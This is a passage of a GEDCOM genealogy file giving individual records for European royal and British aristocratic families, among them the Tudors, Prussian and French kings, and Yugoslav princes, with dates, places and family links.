+1 FAMS @F269@
+0 @I751@ INDI
+1 NAME Philippe of_Orleans //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1641
+1 DEAT
+2 DATE        1701
+1 FAMS @F272@
+1 FAMS @F1373@
+1 FAMC @F521@
+0 @I752@ INDI
+1 NAME Catherine of_Braganza //
+1 SEX F
+1 BIRT
+2 DATE 25 NOV 1638
+2 PLAC Vila Vicosa,Lisbon,Portugal
+1 DEAT
+2 DATE 31 DEC 1705
+2 PLAC Bemposta,Palace,Lisbon,Portugal
+1 BURI
+2 PLAC Belem
+1 FAMS @F273@
+1 FAMC @F274@
+0 @I753@ INDI
+1 NAME John_IV the_Fortunate //
+1 TITL King of Portugal
+1 SEX M
+1 BIRT
+2 DATE        1605
+1 DEAT
+2 DATE        1656
+1 FAMS @F274@
+0 @I754@ INDI
+1 NAME Luiza Maria /de_Guzman/
+1 SEX F
+1 FAMS @F274@
+0 @I755@ INDI
+1 NAME Alfonso_IV  /d'Este/
+1 TITL Duke of Modena
+1 SEX M
+1 FAMS @F275@
+0 @I756@ INDI
+1 NAME Laura  /Mortinozzi/
+1 SEX F
+1 FAMS @F275@
+0 @I757@ INDI
+1 NAME William_III of_Orange /Stuart/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 14 NOV 1650
+2 PLAC The Hague,Netherlands
+1 DEAT
+2 DATE 19 MAR 1702
+2 PLAC Kensington,Palace,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F276@
+1 FAMC @F269@
+0 @I758@ INDI
+1 NAME Ernest Augustus of_Brunswick//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1629
+1 DEAT
+2 DATE        1698
+1 FAMS @F266@
+0 @I759@ INDI
+1 NAME George_I of_Saxe- Meiningen//
+1 TITL Duke
+1 SEX M
+1 FAMS @F277@
+0 @I760@ INDI
+1 NAME Louisa Eleonora of_Hohenlohe-//
+1 TITL Princess
+1 SEX F
+1 FAMS @F277@
+0 @I761@ INDI
+1 NAME Frederick William_I //
+1 TITL King of Prussia
+1 SEX M
+1 BIRT
+2 DATE 14 AUG 1688
+2 PLAC Berlin,Germany
+1 DEAT
+2 DATE 31 MAY 1740
+2 PLAC Potsdam,Germany
+1 BURI
+2 PLAC Potsdam,Germany
+1 FAMS @F435@
+1 FAMC @F267@
+0 @I762@ INDI
+1 NAME Maria of_Waldegrave /Walpole/
+1 TITL Countess
+1 SEX F
+1 DEAT
+2 DATE        1790
+1 FAMS @F958@
+1 FAMS @F279@
+1 FAMC @F957@
+0 @I763@ INDI
+1 NAME Anne  /Horton/
+1 TITL Hon.
+1 SEX F
+1 DEAT
+2 DATE        1808
+1 FAMS @F280@
+0 @I764@ INDI
+1 NAME Christian_VII  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE 29 JAN 1749
+2 PLAC Copenhagen,Denmark
+1 DEAT
+2 DATE 13 MAR 1808
+2 PLAC Rendsborg
+1 FAMS @F281@
+1 FAMC @F107@
+0 @I765@ INDI
+1 NAME Charles Louis //
+1 TITL Elector Palatine
+1 SEX M
+1 DEAT
+2 DATE        1680
+1 FAMS @F940@
+1 FAMC @F265@
+0 @I766@ INDI
+1 NAME Rupert of_Cumberland //
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1619
+1 DEAT
+2 DATE        1682
+1 FAMC @F265@
+0 @I767@ INDI
+1 NAME Maurice  //
+1 SEX M
+1 DEAT
+2 DATE        1654
+1 FAMC @F265@
+0 @I768@ INDI
+1 NAME Edward  //
+1 SEX M
+1 FAMS @F942@
+1 FAMC @F265@
+0 @I769@ INDI
+1 NAME Charlotte  /Landgrave/
+1 SEX F
+1 FAMS @F940@
+1 FAMC @F941@
+0 @I770@ INDI
+1 NAME Ernest Augustus //
+1 TITL Duke of York
+1 SEX M
+1 FAMC @F266@
+0 @I771@ INDI
+1 NAME Sophia Charlotte //
+1 SEX F
+1 BIRT
+2 DATE 20 OCT 1668
+2 PLAC Schloss Iburg,Near,Osnabruck
+1 DEAT
+2 DATE  1 FEB 1705
+2 PLAC Hanover
+1 BURI
+2 PLAC Berlin,Cathedral,Germany
+1 FAMS @F267@
+1 FAMC @F266@
+0 @I772@ INDI
+1 NAME Frederick_I  //
+1 TITL King of Prussia
+1 SEX M
+1 BIRT
+2 DATE 11 JUL 1657
+2 PLAC Konigsberg,Prussia
+1 DEAT
+2 DATE 25 FEB 1713
+2 PLAC Berlin,Germany
+1 FAMS @F436@
+1 FAMS @F267@
+1 FAMS @F437@
+0 @I773@ INDI
+1 NAME Henry_VII  /Tudor/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 28 JAN 1457
+2 PLAC Pembroke Castle,Pembrokeshire,England
+1 DEAT
+2 DATE 21 APR 1509
+2 PLAC Richmond Palace,Richmond Surrey,England
+1 BURI
+2 PLAC Henry VII Chapel,Westminster,Abbey,England
+1 FAMS @F282@
+1 FAMC @F461@
+0 @I774@ INDI
+1 NAME Elizabeth of_York //
+1 SEX F
+1 BIRT
+2 DATE 11 FEB 1466
+2 PLAC Westminster,Palace,London,England
+1 DEAT
+2 DATE 11 FEB 1503
+2 PLAC Tower of London,London,England
+1 BURI
+2 PLAC Henry VII Chapel,Westminster,Abbey,London
+1 FAMS @F282@
+1 FAMC @F373@
+0 @I775@ INDI
+1 NAME Arthur  /Tudor/
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE 20 SEP 1486
+2 PLAC St. Swithin's,Priory,Winchester,England
+1 DEAT
+2 DATE  2 APR 1502
+2 PLAC Ludlow Castle
+1 FAMS @F313@
+1 FAMC @F282@
+0 @I776@ INDI
+1 NAME Margaret  /Tudor/
+1 SEX F
+1 BIRT
+2 DATE 28 NOV 1489
+2 PLAC Westminster,Palace,London,England
+1 DEAT
+2 DATE 18 OCT 1541
+2 PLAC Methven Castle
+1 FAMS @F314@
+1 FAMS @F529@
+1 FAMS @F316@
+1 FAMC @F282@
+0 @I777@ INDI
+1 NAME John Crocker /Bulteel/
+1 SEX M
+1 DEAT
+2 DATE        1843
+1 FAMS @F283@
+0 @I778@ INDI
+1 NAME Elizabeth  /Grey/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1880
+1 FAMS @F283@
+0 @I779@ INDI
+1 NAME Horace Beauchamp /Seymour/
+1 TITL Sir
+1 SEX M
+1 BIRT
+2 DATE        1791
+1 DEAT
+2 DATE        1856
+1 FAMS @F284@
+1 FAMC @F1019@
+0 @I780@ INDI
+1 NAME Elizabeth Malet /Palk/
+1 SEX F
+1 DEAT
+2 DATE        1827
+1 FAMS @F284@
+0 @I781@ INDI
+1 NAME George John /Spencer/
+1 TITL Earl of Spencer
+1 SEX M
+1 BIRT
+2 DATE        1758
+1 DEAT
+2 DATE        1834
+1 FAMS @F285@
+1 FAMC @F467@
+0 @I782@ INDI
+1 NAME Lavinia  /Bingham/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1831
+1 FAMS @F285@
+1 FAMC @F682@
+0 @I783@ INDI
+1 NAME Henry  /Baring/
+1 SEX M
+1 DEAT
+2 DATE        1848
+1 FAMS @F286@
+0 @I784@ INDI
+1 NAME Cecilia Anne /Windham/
+1 SEX F
+1 DEAT
+2 DATE        1874
+1 FAMS @F286@
+0 @I785@ INDI
+1 NAME   //
+1 TITL Earl Howe I
+1 SEX M
+1 DEAT
+2 DATE        1870
+1 FAMS @F287@
+0 @I786@ INDI
+1 NAME Anne  /Gore/
+1 SEX F
+1 DEAT
+2 DATE        1877
+1 FAMS @F287@
+0 @I787@ INDI
+1 NAME Louisa Jane /Russell/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1905
+1 FAMS @F288@
+1 FAMC @F675@
+0 @I788@ INDI
+1 NAME   //
+1 TITL Duke Albercorn I
+1 SEX M
+1 DEAT
+2 DATE        1885
+1 FAMS @F288@
+0 @I789@ INDI
+1 NAME George Charles /Bingham/
+1 TITL Earl of Lucan
+1 SEX M
+1 BIRT
+2 DATE        1800
+1 DEAT
+2 DATE        1888
+1 FAMS @F289@
+1 FAMC @F681@
+0 @I790@ INDI
+1 NAME Anne  /Brudenell/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1877
+1 FAMS @F289@
+0 @I791@ INDI
+1 NAME Caroline  /Paget/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1874
+1 FAMS @F290@
+0 @I792@ INDI
+1 NAME Charles Lennox of_Richmond//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1791
+1 DEAT
+2 DATE        1860
+1 FAMS @F290@
+1 FAMC @F671@
+0 @I793@ INDI
+1 NAME David  /Gill/
+1 SEX M
+1 FAMS @F291@
+0 @I794@ INDI
+1 NAME Sarah  /Ogston/
+1 SEX F
+1 FAMS @F291@
+0 @I795@ INDI
+1 NAME William Smith /Marr/
+1 SEX M
+1 DEAT
+2 DATE        1898
+1 FAMS @F292@
+0 @I796@ INDI
+1 NAME Helen  /Bean/
+1 SEX F
+1 DEAT
+2 DATE        1852
+1 FAMS @F292@
+0 @I797@ INDI
+1 NAME William  /Littlejohn/
+1 SEX M
+1 DEAT
+2 DATE        1888
+1 FAMS @F293@
+0 @I798@ INDI
+1 NAME Janet  /Bentley/
+1 SEX F
+1 DEAT
+2 DATE        1848
+1 FAMS @F293@
+0 @I799@ INDI
+1 NAME James  /Crombie/
+1 SEX M
+1 DEAT
+2 DATE        1878
+1 FAMS @F294@
+0 @I800@ INDI
+1 NAME Katherine Scott /Forbes/
+1 SEX F
+1 DEAT
+2 DATE        1893
+1 FAMS @F294@
+0 @I801@ INDI
+1 NAME Gabriella Marina Alexandra/Windsor/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE 23 APR 1981
+2 PLAC ,,England
+1 CHR
+2 DATE  8 JUN 1981
+2 PLAC Chapel Royal,St. James Palace,England
+1 FAMC @F103@
+0 @I802@ INDI
+1 NAME Thomas  /Troubridge/
+1 SEX M
+1 FAMS @F295@
+0 @I803@ INDI
+1 NAME John_Charles of_Buccleuch VII//
+1 TITL Duke
+1 SEX M
+1 FAMS @F296@
+0 @I804@ INDI
+1 NAME Peter  /Shand-Kydde/
+1 SEX M
+1 FAMS @F297@
+1 FAMS @F298@
+0 @I805@ INDI
+1 NAME Unknown  //
+1 SEX F
+1 FAMS @F298@
+0 @I806@ INDI
+1 NAME Barbara  /Cartland/
+1 TITL Dame
+1 SEX F
+1 BIRT
+2 DATE    JUL 1900
+1 FAMS @F299@
+1 FAMS @F1415@
+1 FAMC @F1418@
+0 @I807@ INDI
+1 NAME Robert  /Fellowes/
+1 TITL Sir
+1 SEX M
+1 BIRT
+2 DATE        1941
+1 FAMS @F300@
+1 FAMC @F302@
+0 @I808@ INDI
+1 NAME Laura Jane /Fellowes/
+1 SEX F
+1 BIRT
+2 DATE    JUL 1980
+1 FAMC @F300@
+0 @I809@ INDI
+1 NAME Neil  /McCorquodale/
+1 SEX M
+1 BIRT
+2 DATE        1951
+1 FAMS @F301@
+0 @I810@ INDI
+1 NAME William  /Fellowes/
+1 TITL Sir
+1 SEX M
+1 FAMS @F302@
+0 @I811@ INDI
+1 NAME Andrew  /Ferguson/
+1 TITL Major
+1 SEX M
+1 BIRT
+2 DATE        1899
+1 DEAT
+2 DATE        1966
+1 FAMS @F303@
+1 FAMC @F304@
+0 @I812@ INDI
+1 NAME Marian -Scott /Montagu-Douglas-/
+1 SEX F
+1 BIRT
+2 DATE        1980
+1 FAMS @F303@
+1 FAMC @F1393@
+0 @I813@ INDI
+1 NAME John Andrew /Ferguson/
+1 SEX M
+1 FAMC @F303@
+0 @I814@ INDI
+1 NAME Algernon Francis /Ferguson/
+1 TITL Brig. Gen.
+1 SEX M
+1 BIRT
+2 DATE        1867
+1 DEAT
+2 DATE        1943
+1 FAMS @F304@
+1 FAMC @F305@
+0 @I815@ INDI
+1 NAME John  /Ferguson/
+1 TITL Colonel
+1 SEX M
+1 FAMS @F305@
+1 FAMC @F306@
+0 @I816@ INDI
+1 NAME Thomas  /Ferguson/
+1 SEX M
+1 FAMS @F306@
+1 FAMC @F307@
+0 @I817@ INDI
+1 NAME Emma  /Benyon/
+1 SEX F
+1 FAMS @F306@
+0 @I818@ INDI
+1 NAME John  /Ferguson/
+1 SEX M
+1 FAMS @F307@
+1 FAMC @F308@
+0 @I819@ INDI
+1 NAME James  /Ferguson/
+1 TITL Dr.
+1 SEX M
+1 DEAT
+2 DATE        1789
+1 FAMS @F308@
+0 @I820@ INDI
+1 NAME Fitzherbert  /Wright/
+1 SEX M
+1 BIRT
+2 DATE        1905
+1 DEAT
+2 DATE        1975
+1 FAMS @F309@
+1 FAMC @F1387@
+0 @I821@ INDI
+1 NAME Doreen  /Wingfield/
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1904
+1 FAMS @F309@
+1 FAMC @F1385@
+0 @I822@ INDI
+1 NAME Jane Louisa /Ferguson/
+1 SEX F
+1 BIRT
+2 DATE 26 AUG 1957
+2 PLAC ,,England
+1 FAMS @F312@
+1 FAMC @F54@
+0 @I823@ INDI
+1 NAME Hector  /Barrantes/
+1 SEX M
+1 BIRT
+2 DATE ABT    1939
+1 DEAT
+2 DATE 10 AUG 1990
+2 PLAC Buenos Aires,Argentina
+1 FAMS @F310@
+1 FAMS @F311@
+0 @I824@ INDI
+1 NAME Louise  //
+1 SEX F
+1 DEAT
+2 DATE ABT    1967
+2 PLAC Buenos Aires,,Argentina
+1 FAMS @F310@
+0 @I825@ INDI
+1 NAME Alex  /Makim/
+1 SEX M
+1 BIRT
+2 DATE ABT    1951
+1 FAMS @F312@
+0 @I826@ INDI
+1 NAME Seamus  /Makim/
+1 SEX M
+1 BIRT
+2 DATE ABT    1980
+1 FAMC @F312@
+0 @I827@ INDI
+1 NAME Beatrice Elizabeth Mary/Windsor/
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE  8 AUG 1988
+2 PLAC Portland Hosp.,,England
+1 FAMC @F53@
+0 @I828@ INDI
+1 NAME Henry_VIII  /Tudor/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 28 JUN 1491
+2 PLAC Greenwich Palace,,England
+1 DEAT
+2 DATE 28 JAN 1547
+2 PLAC Whitehall,London,England
+1 BURI
+2 PLAC St. George Chap.,Windsor,England
+1 FAMS @F319@
+1 FAMS @F321@
+1 FAMS @F322@
+1 FAMS @F323@
+1 FAMS @F325@
+1 FAMS @F327@
+1 FAMC @F282@
+0 @I829@ INDI
+1 NAME Elizabeth  /Tudor/
+1 SEX F
+1 BIRT
+2 DATE  2 JUL 1492
+1 DEAT
+2 DATE 14 SEP 1495
+2 PLAC Eltham Palace,,England
+1 FAMC @F282@
+0 @I830@ INDI
+1 NAME Mary  /Tudor/
+1 SEX F
+1 BIRT
+2 DATE 18 MAR 1496
+2 PLAC Richmond Palace,,England
+1 DEAT
+2 DATE 25 JUN 1533
+2 PLAC Westhorpe,Suffolk,England
+1 FAMS @F317@
+1 FAMS @F318@
+1 FAMC @F282@
+0 @I831@ INDI
+1 NAME Edmund  /Tudor/
+1 SEX M
+1 BIRT
+2 DATE 21 FEB 1499
+2 PLAC Greenwich,Palace,England
+1 DEAT
+2 DATE 19 JUN 1500
+2 PLAC Bishops Hatfield,Herts,England
+1 FAMC @F282@
+0 @I832@ INDI
+1 NAME Katherine  /Tudor/
+1 SEX F
+1 BIRT
+2 DATE  2 FEB 1503
+2 PLAC Tower of London,,England
+1 DEAT
+2 DATE        1503
+2 PLAC ,,England
+1 FAMC @F282@
+0 @I833@ INDI
+1 NAME Catherine of_Aragon //
+1 SEX F
+1 BIRT
+2 DATE 15 DEC 1485
+2 PLAC Near Madrid,,Spain
+1 DEAT
+2 DATE  7 JAN 1536
+2 PLAC Kimbolton Castle,Hunts,England
+1 BURI
+2 PLAC Peterborough,Cathedral,England
+1 FAMS @F313@
+1 FAMS @F319@
+1 FAMC @F320@
+0 @I834@ INDI
+1 NAME James_IV  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1473
+1 DEAT
+2 DATE  9 SEP 1513
+1 FAMS @F314@
+1 FAMC @F460@
+0 @I835@ INDI
+1 NAME James_V  //
+1 TITL King of Scotland
+1 SEX M
+1 BIRT
+2 DATE        1512
+2 PLAC Linlithgow,,Scotland
+1 DEAT
+2 DATE        1542
+1 FAMS @F458@
+1 FAMS @F459@
+1 FAMC @F314@
+0 @I836@ INDI
+1 NAME Archibald  /Douglas/
+1 TITL Earl of Angus VI
+1 SEX M
+1 DEAT
+2 DATE ABT    1557
+1 FAMS @F529@
+0 @I837@ INDI
+1 NAME Henry  /Stewart/
+1 TITL Lord Methven I
+1 SEX M
+1 DEAT
+2 DATE ABT    1551
+1 FAMS @F316@
+0 @I838@ INDI
+1 NAME Louis_XII  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 27 JUN 1462
+2 PLAC Blois,France
+1 DEAT
+2 DATE  1 JAN 1515
+2 PLAC Paris,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1151@
+1 FAMS @F1201@
+1 FAMS @F317@
+1 FAMC @F462@
+0 @I839@ INDI
+1 NAME Charles  /Brandon/
+1 TITL Duke of Suffolk
+1 SEX M
+1 DEAT
+2 DATE        1545
+1 FAMS @F318@
+0 @I840@ INDI
+1 NAME Ferdinand_V  //
+1 TITL King of Aragon
+1 SEX M
+1 BIRT
+2 DATE        1452
+1 DEAT
+2 DATE        1516
+1 FAMS @F320@
+1 FAMS @F1353@
+0 @I841@ INDI
+1 NAME Isabella  //
+1 TITL Queen of Castile
+1 SEX F
+1 BIRT
+2 DATE        1451
+1 DEAT
+2 DATE        1504
+1 FAMS @F320@
+1 FAMC @F1152@
+0 @I842@ INDI
+1 NAME Daughter  /Tudor/
+1 SEX F
+1 BIRT
+2 DATE 31 JAN 1510
+1 DEAT
+2 DATE 31 JAN 1510
+1 FAMC @F319@
+0 @I843@ INDI
+1 NAME Henry_(1)  /Tudor/
+1 TITL Duke of Cornwall
+1 SEX M
+1 BIRT
+2 DATE  1 JAN 1511
+2 PLAC Richmond Palace,,England
+1 DEAT
+2 DATE 22 FEB 1511
+2 PLAC Richmond Palace,,England
+1 FAMC @F319@
+0 @I844@ INDI
+1 NAME Henry_(2)  /Tudor/
+1 TITL Duke of Cornwall
+1 SEX M
+1 BIRT
+2 DATE    NOV 1513
+2 PLAC Richmond Palace,,England
+1 DEAT
+2 DATE    NOV 1513
+2 PLAC Richmond Palace,,England
+1 FAMC @F319@
+0 @I845@ INDI
+1 NAME Son  /Tudor/
+1 SEX M
+1 BIRT
+2 DATE    DEC 1514
+1 DEAT
+2 DATE    DEC 1514
+1 FAMC @F319@
+0 @I846@ INDI
+1 NAME Mary_I  /Tudor/
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE 18 FEB 1516
+2 PLAC Greenwich Palace,London,England
+1 DEAT
+2 DATE 17 NOV 1558
+2 PLAC St. James Palace,,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F334@
+1 FAMC @F319@
+0 @I847@ INDI
+1 NAME Daughter  /Tudor/
+1 SEX F
+1 BIRT
+2 DATE 10 NOV 1518
+1 DEAT
+2 DATE 10 NOV 1518
+1 FAMC @F319@
+0 @I848@ INDI
+1 NAME Anne  /Boleyn/
+1 SEX F
+1 BIRT
+2 DATE ABT    1501
+2 PLAC Blickling Hall,Norfolk,England
+1 DEAT
+2 DATE 19 MAY 1536
+2 PLAC Tower of London,London,England
+1 BURI
+2 PLAC Chapel Royal,Tower of London,London,England
+1 FAMS @F321@
+1 FAMC @F931@
+0 @I849@ INDI
+1 NAME Elizabeth_I  /Tudor/
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE  7 SEP 1533
+2 PLAC Greenwich Palace,London,England
+1 DEAT
+2 DATE 23 MAR 1603
+2 PLAC Richmond Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMC @F321@
+0 @I850@ INDI
+1 NAME Son  /Tudor/
+1 SEX M
+1 BIRT
+2 DATE 29 JAN 1536
+2 PLAC Greenwich,,England
+1 DEAT
+2 DATE 29 JAN 1536
+2 PLAC Greenwich,,England
+1 FAMC @F321@
+0 @I851@ INDI
+1 NAME Jane  /Seymour/
+1 SEX F
+1 BIRT
+2 DATE ABT    1505
+2 PLAC Wolf Hall,Savernake,Wilts
+1 DEAT
+2 DATE 24 OCT 1537
+2 PLAC Hampton Court,Palace,England
+1 BURI
+2 DATE 12 NOV 1537
+2 PLAC St. George Chap.,Windsor,England
+1 FAMS @F322@
+1 FAMC @F328@
+0 @I852@ INDI
+1 NAME Edward_VI  /Tudor/
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 12 OCT 1537
+2 PLAC Hampton Court,Palace,England
+1 DEAT
+2 DATE  6 JUL 1553
+2 PLAC Greenwich,Palace,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMC @F322@
+0 @I853@ INDI
+1 NAME Anne of_Cleves //
+1 SEX F
+1 BIRT
+2 DATE 22 SEP 1515
+2 PLAC Dusseldorf
+1 DEAT
+2 DATE 17 JUL 1557
+2 PLAC Chelsea,,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F323@
+1 FAMC @F324@
+0 @I854@ INDI
+1 NAME John_III  //
+1 TITL Duke of Cleves
+1 SEX M
+1 FAMS @F324@
+0 @I855@ INDI
+1 NAME Marie of_Julich //
+1 SEX F
+1 FAMS @F324@
+0 @I856@ INDI
+1 NAME Catherine  /Howard/
+1 SEX F
+1 BIRT
+2 DATE ABT    1520
+2 PLAC Lambeth
+1 DEAT
+2 DATE 13 FEB 1542
+2 PLAC Tower of London,London,England
+1 BURI
+2 PLAC Chapel Royal,London,England
+1 FAMS @F325@
+1 FAMC @F326@
+0 @I857@ INDI
+1 NAME Edmund  /Howard/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1513
+1 FAMS @F326@
+1 FAMS @F1099@
+1 FAMC @F1096@
+0 @I858@ INDI
+1 NAME Joyce  /Culpeper/
+1 SEX F
+1 FAMS @F326@
+0 @I859@ INDI
+1 NAME Catherine  /Parr/
+1 SEX F
+1 BIRT
+2 DATE ABT    1512
+2 PLAC Kendal Castle
+1 DEAT
+2 DATE  5 SEP 1548
+2 PLAC Sudeley Castle,Gloucestershire
+1 BURI
+2 PLAC Sudeley Castle,Chapel
+1 FAMS @F329@
+1 FAMS @F330@
+1 FAMS @F327@
+1 FAMS @F331@
+1 FAMC @F332@
+0 @I860@ INDI
+1 NAME John  /Seymour/
+1 TITL Sir
+1 SEX M
+1 FAMS @F328@
+0 @I861@ INDI
+1 NAME Margery  /Wentworth/
+1 SEX F
+1 FAMS @F328@
+0 @I862@ INDI
+1 NAME Edward  /Borough/
+1 TITL Sir
+1 SEX M
+1 DEAT
+2 DATE BEF    APR 1533
+1 FAMS @F329@
+0 @I863@ INDI
+1 NAME John  /Nevill/
+1 TITL Baron Latimer #3
+1 SEX M
+1 DEAT
+2 DATE  2 MAR 1543
+2 PLAC London,England
+1 FAMS @F330@
+0 @I864@ INDI
+1 NAME Thomas  /Seymour/
+1 TITL Baron Seymour
+1 SEX M
+1 FAMS @F331@
+0 @I865@ INDI
+1 NAME Thomas of_Kendal /Parr/
+1 TITL Sir
+1 SEX M
+1 FAMS @F332@
+0 @I866@ INDI
+1 NAME Maud  /Green/
+1 SEX F
+1 FAMS @F332@
+0 @I867@ INDI
+1 NAME Daughter  /Seymour/
+1 SEX F
+1 BIRT
+2 DATE 29 AUG 1548
+1 DEAT
+2 DATE  5 SEP 1548
+1 FAMC @F331@
+0 @I868@ INDI
+1 NAME Jane  /Grey/
+1 TITL Queen of England
+1 SEX F
+1 BIRT
+2 DATE    OCT 1537
+2 PLAC Bradgate,Leicestershire
+1 DEAT
+2 DATE 12 FEB 1554
+2 PLAC Tower of London,Tower Green,London,England
+1 BURI
+2 PLAC Tower of London,Chapel Royal,London,England
+1 FAMS @F333@
+1 FAMC @F527@
+0 @I869@ INDI
+1 NAME Guildford  /Dudley/
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE 12 FEB 1554
+2 PLAC Tower of London,Tower Green,London,England
+1 FAMS @F333@
+1 FAMC @F1078@
+0 @I870@ INDI
+1 NAME Philip_II  //
+1 TITL King of Spain
+1 SEX M
+1 BIRT
+2 DATE 21 MAY 1527
+2 PLAC Valladolid
+1 DEAT
+2 DATE 13 SEP 1598
+2 PLAC El Escorial,Palace,Madrid,Spain
+1 FAMS @F949@
+1 FAMS @F334@
+1 FAMS @F950@
+1 FAMS @F951@
+1 FAMC @F335@
+0 @I871@ INDI
+1 NAME Charles_V  //
+1 TITL Emperor
+1 SEX M
+1 BIRT
+2 DATE        1500
+1 DEAT
+2 DATE        1558
+1 FAMS @F335@
+1 FAMC @F1352@
+0 @I872@ INDI
+1 NAME Isabella of_Portugal //
+1 SEX F
+1 BIRT
+2 DATE        1503
+1 DEAT
+2 DATE        1539
+1 FAMS @F335@
+0 @I873@ INDI
+1 NAME Simon  /de_Montfort/
+1 TITL Earl Leicester
+1 SEX M
+1 DEAT
+2 DATE  4 AUG 1265
+2 PLAC Evesham
+1 FAMS @F598@
+0 @I874@ INDI
+1 NAME Tomislav of_Yugoslavia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1928
+2 PLAC Belgrade
+1 FAMS @F338@
+1 FAMS @F339@
+1 FAMC @F151@
+0 @I875@ INDI
+1 NAME Andrej of_Yugoslavia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1929
+2 PLAC ,,Yugoslavia
+1 FAMS @F340@
+1 FAMS @F341@
+1 FAMS @F342@
+1 FAMC @F151@
+0 @I876@ INDI
+1 NAME William  /Marshal/
+1 TITL Earl of Pembroke
+1 SEX M
+1 DEAT
+2 DATE 24 APR 1231
+1 FAMS @F336@
+0 @I877@ INDI
+1 NAME Alexander  //
+1 TITL Crown Prince
+1 SEX M
+1 BIRT
+2 DATE        1945
+1 FAMS @F337@
+1 FAMC @F165@
+0 @I878@ INDI
+1 NAME Dona_Maria da_Gloria //
+1 TITL Princess
+1 SEX F
+1 FAMS @F337@
+0 @I879@ INDI
+1 NAME Peter of_Yugoslavia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1980
+2 PLAC U.S.A.
+1 FAMC @F337@
+0 @I880@ INDI
+1 NAME Philip of_Yugoslavia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1982
+2 PLAC Washington D.C.,U.S.A.
+1 FAMC @F337@
+0 @I881@ INDI
+1 NAME Alexander of_Yugoslavia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1982
+2 PLAC Washington D.C.,U.S.A.
+1 FAMC @F337@
+0 @I882@ INDI
+1 NAME Alice  /Scholastica/
+1 TITL Grand Duchess
+1 SEX F
+1 FAMS @F338@
+0 @I883@ INDI
+1 NAME Nikolas K. /George/
+1 SEX M
+1 BIRT
+2 DATE        1958
+1 FAMC @F338@
+0 @I884@ INDI
+1 NAME Katarina K. /George/
+1 SEX F
+1 BIRT
+2 DATE        1959
+1 FAMC @F338@
+0 @I885@ INDI
+1 NAME Linda  /Bonney/
+1 SEX F
+1 FAMS @F339@
+0 @I886@ INDI
+1 NAME George K. /George/
+1 SEX M
+1 BIRT
+2 DATE        1984
+1 FAMC @F339@
+0 @I887@ INDI
+1 NAME Christina of_Hesse //
+1 SEX F
+1 FAMS @F340@
+0 @I888@ INDI
+1 NAME Tatiana Maria //
+1 SEX F
+1 BIRT
+2 DATE        1957
+1 FAMC @F340@
+0 @I889@ INDI
+1 NAME Christopher K. /George/
+1 SEX M
+1 BIRT
+2 DATE        1960
+1 FAMC @F340@
+0 @I890@ INDI
+1 NAME Kira Melita of_Leiningen//
+1 SEX F
+1 BIRT
+2 DATE        1930
+1 FAMS @F341@
+1 FAMC @F346@
+0 @I891@ INDI
+1 NAME Vladimir K. /George/
+1 SEX M
+1 BIRT
+2 DATE        1964
+1 FAMC @F341@
+0 @I892@ INDI
+1 NAME Dimitrye K. /George/
+1 SEX M
+1 BIRT
+2 DATE        1965
+2 PLAC London,England
+1 FAMC @F341@
+0 @I893@ INDI
+1 NAME Mitsi  //
+1 SEX F
+1 FAMS @F342@
+0 @I894@ INDI
+1 NAME Louis  //
+1 TITL Dauphin
+1 SEX M
+1 DEAT
+2 DATE        1765
+1 FAMS @F1185@
+1 FAMC @F525@
+0 @I895@ INDI
+1 NAME Maria of_Russia //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1907
+1 DEAT
+2 DATE        1951
+1 FAMS @F346@
+1 FAMC @F213@
+0 @I896@ INDI
+1 NAME Elizabeth of_France //
+1 SEX F
+1 BIRT
+2 DATE        1602
+1 DEAT
+2 DATE        1644
+1 FAMS @F948@
+1 FAMC @F271@
+0 @I897@ INDI
+1 NAME Charles_X  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE        1757
+1 DEAT
+2 DATE    NOV 1836
+1 FAMS @F1186@
+1 FAMC @F1185@
+0 @I898@ INDI
+1 NAME Louis_XVIII  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE        1755
+2 PLAC Versailles,France
+1 DEAT
+2 DATE 16 SEP 1824
+1 FAMC @F1185@
+0 @I899@ INDI
+1 NAME Maria of_Russia //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1953
+2 PLAC Madrid,Spain,Spain
+1 FAMS @F345@
+1 FAMC @F214@
+0 @I900@ INDI
